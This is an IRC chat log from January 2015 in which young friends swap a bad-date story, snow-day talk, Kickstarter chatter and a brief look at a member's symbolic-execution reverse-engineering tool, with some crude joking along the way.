[2015-01-25T23:11:16-0500] <@awe> alokpathy: I'm humorous when I watch movies that are bad.
[2015-01-25T23:11:27-0500] <assface> the rape scene?
[2015-01-25T23:11:29-0500] <@awe> During that, I just positioned myself with my entire body facing away from her.
[2015-01-25T23:11:33-0500] <@awe> assface: what the fuck? no.
[2015-01-25T23:11:40-0500] <@awe> assface: although, gg well played.
[2015-01-25T23:11:46-0500] <assface> ;}
[2015-01-25T23:11:53-0500] <@awe> So, the movie ends
[2015-01-25T23:12:00-0500] <@awe> We part ways with our accidental second couple
[2015-01-25T23:12:06-0500] <@awe> I figure I was just going to drive her home
[2015-01-25T23:12:11-0500] <nezorg> awe: I've had enough, please stop talking
[2015-01-25T23:12:17-0500] <assface> no
[2015-01-25T23:12:20-0500] <assface> I want to hear the res
[2015-01-25T23:12:22-0500] <jwoglom> nezorg: /part
[2015-01-25T23:12:25-0500] <@awe> A few weeks before, she was complaining at like midnight that she really wanted ice cream.
[2015-01-25T23:12:31-0500] <@awe> So, I was like "Okay. I'm not doing anything."
[2015-01-25T23:12:32-0500] <@awe> And I drove over.
[2015-01-25T23:12:35-0500] <@awe> And we were going to get ice cream.
[2015-01-25T23:12:38-0500] <@awe> Her dad said it was okay.
[2015-01-25T23:12:44-0500] <@awe> But she lied to her dad and said I was a chick.
[2015-01-25T23:12:48-0500] <@awe> She didn't tell me that.
[2015-01-25T23:12:52-0500] <+Tamini> awe is such a pretty girl ;)
[2015-01-25T23:12:53-0500] <@awe> So, I get there, her dad sees I'm a dude, is pissed.
[2015-01-25T23:13:00-0500] <@awe> Doesn't let her get ice cream.
[2015-01-25T23:13:01-0500] <jwoglom> lol.
[2015-01-25T23:13:04-0500] <assface> lol
[2015-01-25T23:13:08-0500] <@awe> He was only pissed because she lied, actually.
[2015-01-25T23:13:13-0500] <@awe> Not because I was a dude.
[2015-01-25T23:13:17-0500] <@awe> So, fast forward back to the date
[2015-01-25T23:13:19-0500] <nezorg> why would you lie like that
[2015-01-25T23:13:19-0500] <assface> nezorg: this is what we could have missed just because of you
[2015-01-25T23:13:22-0500] <@awe> We're in the car, about to drive her home
[2015-01-25T23:13:30-0500] <nezorg> assface: 
[2015-01-25T23:13:33-0500] <@awe> She's like "Hey, let's get that ice cream."
[2015-01-25T23:13:43-0500] <@awe> I'm like "Okay."
[2015-01-25T23:13:46-0500] <@awe> Because... Why not?
[2015-01-25T23:13:48-0500] <@awe> I like ice cream.
[2015-01-25T23:13:54-0500] <nezorg> awe: heretic
[2015-01-25T23:13:57-0500] <@awe> So, we drive to Wawa's.
[2015-01-25T23:14:18-0500] <@awe> Because it was late.
[2015-01-25T23:14:22-0500] <@awe> Like 11 or something.
[2015-01-25T23:14:28-0500] <@awe> We buy ice cream.
[2015-01-25T23:14:30-0500] <@awe> We eat ice cream.
[2015-01-25T23:14:34-0500] <@awe> I drive her home.
[2015-01-25T23:14:44-0500] <@awe> I park in her driveway.
[2015-01-25T23:14:52-0500] <@awe> In my head, "Oh holy lord, please don't try to kiss me."
[2015-01-25T23:14:55-0500] <assface> tension...
[2015-01-25T23:15:07-0500] <nezorg> >insert sexual tension here
[2015-01-25T23:15:09-0500] <jwoglom> the short sentences
[2015-01-25T23:15:17-0500] <jwoglom> reaching a climax
[2015-01-25T23:15:29-0500] <alokpathy> :o
[2015-01-25T23:15:32-0500] <@awe> Incredible amounts of awkward sexual tension as I could tell she was debating trying to kiss me.
[2015-01-25T23:15:47-0500] <@awe> I'm sitting there trying to decide if I stop her if she tries or just go with it and tell her later.
[2015-01-25T23:16:07-0500] <nezorg> she couldn't tell it had been a disaster?
[2015-01-25T23:16:13-0500] <nezorg> then again I probably couldn't
[2015-01-25T23:16:20-0500] <@awe> Having no self-esteem, she doesn't try. She just says that she had a really amazing time and that she hopes we could do it again really soon.
[2015-01-25T23:16:44-0500] <@awe> She clearly couldn't tell it had been a disaster.
[2015-01-25T23:16:44-0500] <assface> nezorg: are you going to ask out awe soon?
[2015-01-25T23:17:00-0500] <+Tamini> oh, is this the one where you never call again.
[2015-01-25T23:17:00-0500] <@awe> I respond, "Yeah..." softly.
[2015-01-25T23:17:08-0500] <@awe> And then she gets out of my car.
[2015-01-25T23:17:22-0500] <nezorg> assface: I can't build up the self-esteem
[2015-01-25T23:17:35-0500] <assface> literally lol'd
[2015-01-25T23:17:41-0500] <ubuntor> well, there it is
[2015-01-25T23:17:47-0500] <@awe> So, she talks to me everyday after that
[2015-01-25T23:17:51-0500] <@awe> Like two weeks later
[2015-01-25T23:17:53-0500] <@awe> She's just like
[2015-01-25T23:17:59-0500] <@awe> "Wait, what the fuck? You never asked me out again."
[2015-01-25T23:18:09-0500] <+Tamini> LOL
[2015-01-25T23:18:10-0500] <assface> CUT AND RUN
[2015-01-25T23:18:10-0500] <@awe> "Did you not have a good time?"
[2015-01-25T23:18:11-0500] <alokpathy> LOL
[2015-01-25T23:18:14-0500] <jwoglom> welp
[2015-01-25T23:18:18-0500] <@awe> It took her two fucking weeks to notice that it was a DISASTER.
[2015-01-25T23:18:19-0500] <assface> POCKET SAND
[2015-01-25T23:18:33-0500] <+Tamini> she liked you enough to entirely delude herself cmon
[2015-01-25T23:18:34-0500] <@awe> I said no, and then didn't speak to her for like four months.
[2015-01-25T23:18:52-0500] <alokpathy> Aww
[2015-01-25T23:19:09-0500] <@awe> Well, she stopped messaging me.
[2015-01-25T23:19:09-0500] <+Tamini> poor girl.
[2015-01-25T23:19:15-0500] <nezorg> indeed
[2015-01-25T23:19:15-0500] <@awe> I never started conversations with her.
[2015-01-25T23:19:17-0500] <assface> last year someone complemented my eyes and I haven't seen them since
[2015-01-25T23:19:22-0500] <@awe> So, she stopped starting them and I didn't speak to her for months.
[2015-01-25T23:19:27-0500] <nezorg> assface: your... eyes?
[2015-01-25T23:19:30-0500] <assface> yeah
[2015-01-25T23:19:33-0500] <assface> it was really weird
[2015-01-25T23:19:37-0500] <@awe> assface: someone was a complement to your eyes?
[2015-01-25T23:19:43-0500] <assface> sure
[2015-01-25T23:19:50-0500] <@awe> You said that they complemented your eyes.
[2015-01-25T23:19:53-0500] <@awe> As in: they completed your eyes.
[2015-01-25T23:19:59-0500] <assface> yes
[2015-01-25T23:20:03-0500] <alokpathy> awe: Lol so nitpicky :P
[2015-01-25T23:20:03-0500] <@awe> OK.
[2015-01-25T23:20:10-0500] <assface> they made a 180-degree angle when added to my eyes
[2015-01-25T23:20:14-0500] <alokpathy> 90*
[2015-01-25T23:20:18-0500] <assface> *420
[2015-01-25T23:20:18-0500] <@awe> lol
[2015-01-25T23:20:21-0500] <@awe> blazeit
[2015-01-25T23:20:23-0500] <alokpathy> blazeit
[2015-01-25T23:20:24-0500] <alokpathy> damn
[2015-01-25T23:20:34-0500] <assface> but yeah
[2015-01-25T23:20:36-0500] <assface> shorter story
[2015-01-25T23:21:04-0500] <+Tamini> lol
[2015-01-25T23:21:28-0500] <+Tamini> stories about stuff going horribly wrong is so much more entertaining.
[2015-01-25T23:21:59-0500] <assface> true
[2015-01-25T23:22:11-0500] <assface> I don't have those because I avoid things that are doomed to go wrong
[2015-01-25T23:22:13-0500] <@awe> I wonder if I have any other good stories.
[2015-01-25T23:22:21-0500] • nezorg: doesn't have any
[2015-01-25T23:22:28-0500] <jwoglom> i mean, if it was regular "everything was perfect" then it'd be boring and typical
[2015-01-25T23:22:29-0500] • alokpathy: high fives nezorg
[2015-01-25T23:22:30-0500] <@awe> I know Tamini knows my longest and possibly most cringeworthy story.
[2015-01-25T23:22:38-0500] <assface> to tell
[2015-01-25T23:22:40-0500] <assface> *do
[2015-01-25T23:22:46-0500] <+Tamini> oh, that one.
[2015-01-25T23:22:46-0500] <+Tamini> heh
[2015-01-25T23:22:51-0500] • nezorg: awkwardly receives alokpathy's high five
[2015-01-25T23:22:58-0500] <+Tamini> you know a lot of my super cringeworthy stories
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[2015-01-25T23:23:08-0500] <+Tamini> alokpathy: you have some cringeworthy stories, don't you?
[2015-01-25T23:23:16-0500] <+Tamini> like your two girlfriends "idk how we started dating"
[2015-01-25T23:23:23-0500] <assface> lol
[2015-01-25T23:23:25-0500] <alokpathy> Oh, yeah, that.
[2015-01-25T23:23:35-0500] <alokpathy> That was only true for one of them.
[2015-01-25T23:23:45-0500] <+Tamini> hmm
[2015-01-25T23:23:46-0500] <assface> all you people with actual social lives are fun to tease
[2015-01-25T23:23:49-0500] <+Tamini> on the topic of romance
[2015-01-25T23:23:54-0500] <nezorg> assface: I feel the same way
[2015-01-25T23:23:56-0500] <+Tamini> if for a fundraiser
[2015-01-25T23:23:57-0500] <alokpathy> assface: My social life died as soon as I started high school :P
[2015-01-25T23:24:00-0500] <@awe> assface: it's long and involves a ton of bad decisions on my part.
[2015-01-25T23:24:04-0500] <+Tamini> we're doing a valentine's day thing
[2015-01-25T23:24:07-0500] <assface> eggcelent
[2015-01-25T23:24:09-0500] <nezorg> alokpathy: mine was never born! yaaaayy
[2015-01-25T23:24:16-0500] <+Tamini> everyone is doing flowers/roses/chocolates
[2015-01-25T23:24:19-0500] <+Tamini> how do we make ours special
[2015-01-25T23:24:24-0500] <assface> a dead bird?
[2015-01-25T23:24:27-0500] <nezorg> 3d printing!
[2015-01-25T23:24:28-0500] <+Tamini> (i proposed romantic limericks, was immediately shut down)
[2015-01-25T23:24:48-0500] <assface> a romantic limerick about a 3d-printed dead bird?
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[2015-01-25T23:24:48-0500] <+Tamini> nezorg: that would be super hassle >.<
[2015-01-25T23:24:58-0500] <jwoglom> assface: ..fanfic
[2015-01-25T23:25:01-0500] <nezorg> Tamini: aw, how so?
[2015-01-25T23:25:02-0500] <assface> ^
[2015-01-25T23:25:38-0500] <+Tamini> nezorg: well i would have to 3d print lots of things for lots of people
[2015-01-25T23:26:09-0500] <nezorg> not a problem
[2015-01-25T23:26:10-0500] <assface> Tamini: you don't have a mass-production 3d printing facility at your school?
[2015-01-25T23:26:11-0500] <assface> lame
[2015-01-25T23:26:37-0500] <LittleBobbyTables> http://natethesnake.com/
[2015-01-25T23:26:38-0500] <jwoglom> we have plenty of 3d printers afaik
[2015-01-25T23:26:40-0500] <LittleBobbyTables> Best joke ever.
[2015-01-25T23:26:46-0500] <+Tamini> assface: we do, but im not a part of that lab
[2015-01-25T23:26:58-0500] <+Tamini> BETTER NATE THAN-
[2015-01-25T23:26:59-0500] <+Tamini> :D
[2015-01-25T23:28:00-0500] <jwoglom> LittleBobbyTables: oh damn, i've seen that joke before
[2015-01-25T23:28:14-0500] <assface> http://gaben.tv/
[2015-01-25T23:28:36-0500] <jwoglom> someone told it during marching band camp
[2015-01-25T23:29:20-0500] <assface> #pcmasterrace
[2015-01-25T23:30:26-0500] <LittleBobbyTables> jwoglom: Glorious, isn't it?
[2015-01-25T23:30:36-0500] <jwoglom> LittleBobbyTables: yeah, it was pretty good :P
[2015-01-25T23:31:10-0500] <jwoglom> we have an away camp for like 5 days and do a different group activity every evening
[2015-01-25T23:31:21-0500] <jwoglom> on "bonding night" someone tells a long joke like that, then we all eat ice cream :D
[2015-01-26T00:00:21-0500] <@awe> jwoglom: your camp has a bondage night?
[2015-01-26T00:00:35-0500] <nezorg> bondage night sounds fun
[2015-01-26T00:00:44-0500] <@awe> Now we know what nezorg is into.
[2015-01-26T00:00:46-0500] <jwoglom> awe: yes, everyone makes that joke..
[2015-01-26T00:00:51-0500] <jwoglom> :P
[2015-01-26T00:01:08-0500] <@awe> Dammit. I thought I was special.
[2015-01-26T00:02:12-0500] <+Tamini> nezorg: we already know you're into some weird shit :P
[2015-01-26T00:02:42-0500] <@awe> I mean, we all know the sole reason he has an Oculus is for porn.
[2015-01-26T00:03:15-0500] <alokpathy> ^
[2015-01-26T00:03:42-0500] <@awe> nezorg: Do you hook electrodes up to your body along with that so that you get shocked when the VR sim is whipping you?
[2015-01-26T00:04:06-0500] <jwoglom> well he's obviously just "testing the technology"
[2015-01-26T00:04:28-0500] <@awe> Oh, yes, of course.
[2015-01-26T00:08:54-0500] <nezorg> awe: that's not the *sole* reason
[2015-01-26T00:08:57-0500] <nezorg> I do UI dev too
[2015-01-26T00:09:05-0500] <nezorg> plus experience rollercoasters
[2015-01-26T00:09:47-0500] <nezorg> ...heheh
[2015-01-26T00:09:53-0500] <nezorg> porn in the hololens
[2015-01-26T00:10:04-0500] <+Tamini> lol
[2015-01-26T00:10:18-0500] <+Tamini> is it as good as it sounds
[2015-01-26T00:10:33-0500] <nezorg> I've heard the hololens is pretty cool, yeah
[2015-01-26T00:10:54-0500] <nezorg> but reporters have only tried it in pretty controlled environments
[2015-01-26T00:11:12-0500] <+Tamini> ah
[2015-01-26T00:11:15-0500] <+Tamini> well
[2015-01-26T00:11:20-0500] <+Tamini> imma sleep now and pray for snowfall
[2015-01-26T00:11:22-0500] <+Tamini> gnight friends.
[2015-01-26T00:12:02-0500] <@awe> Good night, Tamini.
[2015-01-26T00:12:03-0500] <jwoglom> let it snow! let it snow! let it snow!
[2015-01-26T00:12:06-0500] <jwoglom> pleaseeeeeeee
[2015-01-26T00:12:08-0500] <@awe> nezorg: how awesome is the porn?
[2015-01-26T00:12:38-0500] <nezorg> it's alright
[2015-01-26T00:12:44-0500] <jwoglom> if it's VR, is it even considered porn anymore?
[2015-01-26T00:13:45-0500] <nezorg> sounds philosophical
[2015-01-26T00:13:51-0500] <@awe> It's pretty low fidelity, right?
[2015-01-26T00:13:54-0500] <alokpathy> Tamini: G'night.
[2015-01-26T00:14:07-0500] <nezorg> Tamini: night
[2015-01-26T00:14:21-0500] <jwoglom> Tamini: night as well
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[2015-01-26T06:26:34-0500] <+JacobEdelman> we have an early dismissal!
[2015-01-26T06:28:27-0500] <+JacobEdelman> my plan clearly was a success
[2015-01-26T06:36:48-0500] <+JacobEdelman> I just watched a game of chess in which the white king cross the board and than went back to its own side
[2015-01-26T06:36:58-0500] <+JacobEdelman> http://chessboardjs.com/examples#5002
[2015-01-26T06:42:09-0500] <+JacobEdelman> I just beat randomness at chess
[2015-01-26T06:42:17-0500] <+JacobEdelman> oh wait
[2015-01-26T06:42:19-0500] <+JacobEdelman> I tied
[2015-01-26T06:42:21-0500] <+JacobEdelman> :P
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[2015-01-26T10:17:18-0500] <+hardmath123> Don't you just hate it when you wake up and realize the alarm clock'll go off in 15 minutes? So you have to lie there awkwardly for 15 minutes, or get up and potentially have to run back to your room while brushing if it goes off.
[2015-01-26T10:17:58-0500] <+hardmath123> Or, even worse, you get up and turn it off, feel really clever, and then forget to turn it on again the next night.
[2015-01-26T10:25:52-0500] <The_Master> Or when you wake up get dressed then realize it is 1 am.
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[2015-01-26T10:43:13-0500] <alokpathy> hardmath123: Ayy you're back :D
[2015-01-26T11:44:07-0500] <nezorg> hardmath123: use a smarter alarm!
[2015-01-26T12:32:35-0500] <+JacobEdelman> hardmath123 is back!
[2015-01-26T12:32:36-0500] <+JacobEdelman> yeah
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[2015-01-26T13:20:48-0500] <Hyper> I just said "And you do some gauss stuff and it comes out to n^2" in an algorithms class
[2015-01-26T13:20:50-0500] <Hyper> 10/10
[2015-01-26T13:22:52-0500] <alokpathy> Nice LOL
[2015-01-26T13:37:32-0500] <@awe> Fun fact: there are exactly 420 different subsections of the WinAPI.
[2015-01-26T13:37:38-0500] <@awe> Blaze it, everyone.
[2015-01-26T13:38:20-0500] <Hyper> awe: so I was trying to do funky stuff with C++ templates
[2015-01-26T13:38:47-0500] <@awe> Did you use templates for HKT? :D
[2015-01-26T13:38:47-0500] <Hyper> and then realized I was so used to the amazingness of D templates that it's like using a stone to carve a statue :(
[2015-01-26T13:38:54-0500] <@awe> Ah, yeah.
[2015-01-26T13:39:03-0500] <Hyper> q.q
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[2015-01-26T13:54:23-0500] <assface> ayyyy
[2015-01-26T13:54:37-0500] <@awe> eyyy
[2015-01-26T13:58:22-0500] <alokpathy> ayooo
[2015-01-26T14:03:58-0500] <assface> oy vey goyim
[2015-01-26T14:04:48-0500] <Hyper> eyy lmao
[2015-01-26T14:10:13-0500] <@awe> assface: is u jewish?
[2015-01-26T14:12:36-0500] <assface> nei
[2015-01-26T14:14:52-0500] <@awe> :(
[2015-01-26T14:14:59-0500] <@awe> That's disappointing.
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[2015-01-26T14:22:28-0500] <Tamini_> jesus christ.
[2015-01-26T14:24:25-0500] <@awe> Classes are cancelled already tomorrow.
[2015-01-26T14:25:28-0500] <Tamini_> lucky
[2015-01-26T14:25:30-0500] <Tamini_> wait
[2015-01-26T14:25:40-0500] <Tamini_> oh right massachusettes
[2015-01-26T14:26:38-0500] <alokpathy> So this is how WWP decides if there's a snow day.
[2015-01-26T14:26:39-0500] <alokpathy> http://wwpknightlynews.com/2015/01/26/how-superintendent-aderhold-decides-to-call-a-snow-day/#prettyPhoto
[2015-01-26T14:28:19-0500] <Tamini_> im pretty sad now
[2015-01-26T14:31:06-0500] <@awe> Tamini_: why?
[2015-01-26T14:34:17-0500] <Tamini_> um
[2015-01-26T14:34:18-0500] <alokpathy> Tamini: Why? :(
[2015-01-26T14:34:28-0500] <Tamini_> im caught in the middle of a really dumb arguement
[2015-01-26T14:35:19-0500] <@awe> Care to elaborate?
[2015-01-26T14:45:02-0500] <Tamini_> um
[2015-01-26T14:45:03-0500] <Tamini_> later
[2015-01-26T14:45:12-0500] <Tamini_> im still between them rn
[2015-01-26T14:45:14-0500] <Tamini_> give me 5 mins
[2015-01-26T14:52:34-0500] <jwoglom> TJ is in "secure the building"
[2015-01-26T14:52:36-0500] <jwoglom> yayyy
[2015-01-26T14:54:02-0500] <+JacobEdelman> code geass theme song changed in episode 13
[2015-01-26T14:54:10-0500] <+JacobEdelman> and the english translation no longer makes any sense
[2015-01-26T14:54:41-0500] <+JacobEdelman> it has such jewels as
[2015-01-26T14:54:58-0500] <+JacobEdelman> "what is this rotten apple that I am holding reflecting in the mirror..."
[2015-01-26T14:55:02-0500] <+JacobEdelman> darn translation
[2015-01-26T14:57:33-0500] <@awe> I don't get why everyone is so excited about the lack of class tomorrow.
[2015-01-26T14:57:41-0500] <@awe> It doesn't change the amount of work we have at all.
[2015-01-26T14:57:50-0500] <@awe> And quite frankly, I don't do a whole lot on days where I don't have class.
[2015-01-26T14:57:57-0500] <@awe> I rather much like going to class. It gives me something to do.
[2015-01-26T15:00:02-0500] <alokpathy> Well, you get more time to do the work.
[2015-01-26T15:00:55-0500] <alokpathy> I like snow days because I can sleep in c:
[2015-01-26T15:01:06-0500] <alokpathy> though I guess you don't get that benefit in college 'cause you get to sleep in everyday >:|
[2015-01-26T15:01:29-0500] <@awe> M and F, I wake up around 11.
[2015-01-26T15:01:43-0500] <@awe> T and T I wake up around 10:15.
[2015-01-26T15:01:54-0500] <@awe> W I wake up around 9:30.
[2015-01-26T15:03:06-0500] <+JacobEdelman> awe: you don't have work, so shush
[2015-01-26T15:03:34-0500] <@awe> Technically, I do.
[2015-01-26T15:03:35-0500] <+JacobEdelman> Hyper: the pizza hut boxes keep growing...
[2015-01-26T15:03:37-0500] <@awe> It's just super easy for em.
[2015-01-26T15:03:38-0500] <@awe> me*
[2015-01-26T15:05:17-0500] <alokpathy> awe: M-F I wake up at 6:30 :/
[2015-01-26T15:05:54-0500] <alokpathy> Sometimes, when I'm lucky, 7.
[2015-01-26T15:06:05-0500] <alokpathy> It's torture...
[2015-01-26T15:06:21-0500] <@awe> Well, come to UMass and you can definitely sleep late.
[2015-01-26T15:08:05-0500] <@awe> Exploding Kittens hit 100,000 backers!
[2015-01-26T15:08:08-0500] <@awe> NSFW deck is now a full deck!
[2015-01-26T15:08:08-0500] <@awe> Woo!
[2015-01-26T15:15:02-0500] <Tamini_> psa a bank just got robbed near us
[2015-01-26T15:15:07-0500] <Tamini_> school on lockdown
[2015-01-26T15:15:07-0500] <Tamini_> gg
[2015-01-26T15:15:13-0500] <@awe> lol.
[2015-01-26T15:15:16-0500] <@awe> Nice.
[2015-01-26T15:15:38-0500] <alokpathy> Wow
[2015-01-26T15:17:14-0500] <alokpathy> The most significant event like that that's happened here with me was people holding guns and walking near campus
[2015-01-26T15:17:18-0500] <alokpathy> who turned out to be duck hunters.
[2015-01-26T15:17:30-0500] <@awe> Yup.
[2015-01-26T15:17:58-0500] <jwoglom> Tamini_: A blocks finally over
[2015-01-26T15:18:01-0500] <jwoglom> after an hour and a half lol
[2015-01-26T15:19:41-0500] <+JacobEdelman> awe: like to exploding kittens?
[2015-01-26T15:19:51-0500] <+JacobEdelman> alokpathy: that was a rumor
[2015-01-26T15:19:56-0500] <+JacobEdelman> alokpathy: there were no duck hunters
[2015-01-26T15:20:12-0500] <+JacobEdelman> alokpathy: it was a false sighting of people with guns
[2015-01-26T15:20:15-0500] <+JacobEdelman> Tamini_: wow
[2015-01-26T15:20:32-0500] <Tamini_> lol duck hunters
[2015-01-26T15:20:33-0500] <@awe> JacobEdelman: https://www.kickstarter.com/projects/elanlee/exploding-kittens
[2015-01-26T15:20:35-0500] <alokpathy> JacobEdelman: Where'd you get that from?
[2015-01-26T15:20:39-0500] <@awe> The NSFW is way more popular than the standard game
[2015-01-26T15:20:42-0500] <+JacobEdelman> Tamini_: we were locked down  for like 3 hours
[2015-01-26T15:20:49-0500] <@awe> 7,090 backers vs 92,874 backers.
[2015-01-26T15:20:50-0500] <+JacobEdelman> alokpathy: the police site I think
[2015-01-26T15:20:55-0500] <+JacobEdelman> alokpathy: I'm 90% sure
[2015-01-26T15:21:11-0500] <+JacobEdelman> alokpathy: you can ask someone like a guidance counsells, I think i discussed it with one of them too
[2015-01-26T15:21:23-0500] <alokpathy> JacobEdelman: Eh, I'll just take your word for it.
[2015-01-26T15:22:16-0500] <+JacobEdelman> awe: should I buy it?
[2015-01-26T15:22:23-0500] <+JacobEdelman> (the standard one)
[2015-01-26T15:22:26-0500] <@awe> Buy the NSFW one.
[2015-01-26T15:22:31-0500] <@awe> It comes with both.
[2015-01-26T15:24:20-0500] <Tamini_> awk
[2015-01-26T15:24:23-0500] <Tamini_> i realized
[2015-01-26T15:24:37-0500] <Tamini_> my sweater has holes in it by design -> i am still very cold
[2015-01-26T15:26:18-0500] <+JacobEdelman> awe: I'm tempted, the question is whether it would be so nsfw I wouldn't be able to play it with my younger siblings
[2015-01-26T15:26:22-0500] <+JacobEdelman> which it probaly would....
[2015-01-26T15:26:30-0500] <@awe> Boob dragons?
[2015-01-26T15:26:41-0500] <+JacobEdelman> awe: what?
[2015-01-26T15:26:46-0500] <@awe> Would you play Cards Against Humanity with your family?
[2015-01-26T15:26:48-0500] <+JacobEdelman> no
[2015-01-26T15:26:57-0500] <@awe> Then you probably wouldn't play this NSFW version with your family.
[2015-01-26T15:27:12-0500] <@awe> But you can play it with your friends, especially when you go to Uni.
[2015-01-26T15:27:20-0500] <@awe> And you can play the SFW one with your family.
[2015-01-26T15:27:32-0500] <+JacobEdelman> hmmm... not worht 15 extra dollars 
[2015-01-26T15:27:36-0500] <+JacobEdelman> :P
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[2015-01-26T17:05:13-0500] <ubuntor> it's still going?
[2015-01-26T17:05:51-0500] <@awe> ubuntor: what is?
[2015-01-26T17:06:02-0500] <ubuntor> the kickstarter
[2015-01-26T17:06:16-0500] <@awe> It's only been six days.
[2015-01-26T17:14:05-0500] <+JacobEdelman> wow
[2015-01-26T17:20:56-0500] <Tamini_> nyeh
[2015-01-26T17:21:00-0500] <Tamini_> im so unmotivated
[2015-01-26T17:21:04-0500] <Tamini_> why cant it snow already
[2015-01-26T17:25:57-0500] <Tamini_> JacobEdelman: how is it up there
[2015-01-26T17:26:07-0500] <jwoglom> Tamini_: they're at least saying we'll get something tonight/tomorrow! :D
[2015-01-26T17:26:09-0500] <jwoglom> ..i hope
[2015-01-26T17:26:25-0500] <+JacobEdelman> not too much snow 
[2015-01-26T17:26:26-0500] <+JacobEdelman> a bit
[2015-01-26T17:26:28-0500] <Tamini_> jwoglom: its passing over us apparently tho :/
[2015-01-26T17:26:33-0500] <+JacobEdelman> but only an inch or 2
[2015-01-26T17:26:43-0500] <+JacobEdelman> its not starting until tonight
[2015-01-26T17:26:47-0500] <jwoglom> looking at it now...i think you're right :/
[2015-01-26T17:28:02-0500] <Tamini_> yeah
[2015-01-26T17:28:06-0500] <Tamini_> barely a chance of delay
[2015-01-26T17:28:22-0500] <jwoglom> but..but..they were saying we'd get more :(
[2015-01-26T17:28:32-0500] <jwoglom> i want snow
[2015-01-26T17:32:34-0500] <+JacobEdelman> whats your zip code?
[2015-01-26T17:37:04-0500] <Tamini_> um
[2015-01-26T17:37:09-0500] <Tamini_> all of fcps?
[2015-01-26T17:40:54-0500] <ubuntor> subtle :P
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[2015-01-26T18:23:19-0500] <nezorg> awe: wait, that exploding kittens game is at 4mil? O_O
[2015-01-26T18:23:25-0500] <@awe> Yes.
[2015-01-26T18:23:28-0500] <@awe> In six days.
[2015-01-26T18:24:03-0500] <nezorg> anyway
[2015-01-26T18:24:05-0500] <nezorg> pssst
[2015-01-26T18:24:08-0500] <nezorg> hey guys
[2015-01-26T18:24:10-0500] <@awe> Hi.
[2015-01-26T18:24:19-0500] <nezorg> you wanna sneak peek at the future of reverse engineering?
[2015-01-26T18:26:08-0500] <ubuntor> ooh
[2015-01-26T18:26:17-0500] <ubuntor> yes
[2015-01-26T18:26:25-0500] <nezorg> https://www.dropbox.com/s/l6a46c52gjienth/Screenshot%20from%202015-01-26%2015%3A17%3A59.png?dl=0
[2015-01-26T18:26:26-0500] <nezorg> :3
[2015-01-26T18:27:39-0500] <ubuntor> whoa
[2015-01-26T18:27:43-0500] <ubuntor> that looks awesome
[2015-01-26T18:28:07-0500] <bob_twinkles> got a few layout problems yet it seems =P
[2015-01-26T18:28:11-0500] <nezorg> you see that value next to 17, on the left?
[2015-01-26T18:28:13-0500] <nezorg> bob_twinkles: ssshhh
[2015-01-26T18:28:23-0500] <nezorg> the `Concat(...)`?
[2015-01-26T18:28:34-0500] <nezorg> that's a formula representing what rax has in it at that point
[2015-01-26T18:28:49-0500] <nezorg> you can see that it's `2 + {some bytes from a file}`
[2015-01-26T18:28:50-0500] <nezorg> :D
[2015-01-26T18:29:02-0500] <@awe> Exploding Kittens is #8 most funded on Kickstarter right now.
[2015-01-26T18:29:09-0500] <@awe> $150,000 away from #7.
[2015-01-26T18:29:27-0500] <assface> neat
[2015-01-26T18:29:31-0500] <@awe> If it keeps pace, it will be the #1 most funded project on Kickstarter.
[2015-01-26T18:29:42-0500] <ubuntor> nezorg: that is amazing
[2015-01-26T18:29:45-0500] <@awe> Interestingly, the current #1 is something I've never heard of.
[2015-01-26T18:29:53-0500] <@awe> https://www.kickstarter.com/projects/ryangrepper/coolest-cooler-21st-century-cooler-thats-actually?ref=most_funded
[2015-01-26T18:30:04-0500] <nezorg> ubuntor: I know it's sooooo cool :D
[2015-01-26T18:30:22-0500] <@awe> It's a fancy cooler.
[2015-01-26T18:30:24-0500] <ubuntor> from scratch?
[2015-01-26T18:31:08-0500] <nezorg> ubuntor: our library's built on top of libVEX, which lifts various machine code languages into an IR, but other than that, yeah
[2015-01-26T18:32:03-0500] <assface> no UI lib?
[2015-01-26T18:32:09-0500] <nezorg> oh, on the client side?
[2015-01-26T18:32:17-0500] <nezorg> all the interesting stuff is server-side
[2015-01-26T18:32:22-0500] <assface> oh
[2015-01-26T18:32:22-0500] <nezorg> on the client side we're using a bunch of libraries
[2015-01-26T18:32:31-0500] <assface> I figured
[2015-01-26T18:32:47-0500] <ubuntor> still, it looks pretty cool
[2015-01-26T18:32:52-0500] <assface> indeed
[2015-01-26T18:33:04-0500] <assface> that's that symbolic execution thing, right?
[2015-01-26T18:33:11-0500] <nezorg> I'll show you the first paper we're getting out of the library once it's published
[2015-01-26T18:33:12-0500] <nezorg> assface: yeah
[2015-01-26T18:33:38-0500] <alokpathy> nezorg: With all of us? :D
[2015-01-26T18:34:01-0500] <nezorg> alokpathy: huh?
[2015-01-26T18:34:07-0500] <alokpathy> nezorg: The paper :P
[2015-01-26T18:34:14-0500] <nezorg> oh, yeah
[2015-01-26T18:34:19-0500] <alokpathy> Coolio
[2015-01-26T18:34:20-0500] <nezorg> I mean, it'll be in conference proceedings
[2015-01-26T18:34:28-0500] <alokpathy> Oh neat
[2015-01-26T18:34:33-0500] <nezorg> we're planning on open-sourcing it around september
[2015-01-26T18:34:36-0500] <nezorg> (after defcon! :P)
[2015-01-26T18:34:42-0500] <alokpathy> Ah xD
[2015-01-26T18:34:47-0500] <ubuntor> lol
[2015-01-26T18:35:32-0500] <@awe> Oh, yeah. I forgot that Neil Young got a ridiculous amount of money funded for what is essentially a FLAC audio player.
[2015-01-26T18:35:53-0500] <nezorg> awe: BUT IT'S 24/192
[2015-01-26T18:36:04-0500] <nezorg> (/s if that wasn't obvious)
[2015-01-26T18:36:14-0500] <@awe> as in sarcasm?
[2015-01-26T18:36:16-0500] <nezorg> yes
[2015-01-26T18:36:32-0500] <ubuntor> no, for sincerity
[2015-01-26T18:36:44-0500] <nezorg> well played
[2015-01-26T18:37:10-0500] <@awe> They refuse to talk about any of the technical details of it.
[2015-01-26T18:37:31-0500] <@awe> They just claim it sounds better.
[2015-01-26T18:37:31-0500] <assface> Neil Youn got hisself gypped
[2015-01-26T18:37:54-0500] <nezorg> awe: well, they sure advertise that it's 24/192
[2015-01-26T18:37:58-0500] <nezorg> which is probably true
[2015-01-26T18:38:01-0500] <nezorg> but such bullshit
[2015-01-26T18:38:02-0500] <@awe> Do they?
[2015-01-26T18:38:03-0500] <@awe> WHere?
[2015-01-26T18:38:42-0500] <nezorg> https://ponomusic.force.com/ccrz__ProductDetails?viewState=DetailView&cartId=36d65367-9bd4-4bd4-a8bb-4ec4348df828&sku=NY001&store=ponomusic
[2015-01-26T18:38:56-0500] <nezorg> "Pono supports playback of high-fidelity audio of up to 192kHz/24 bit resolution."
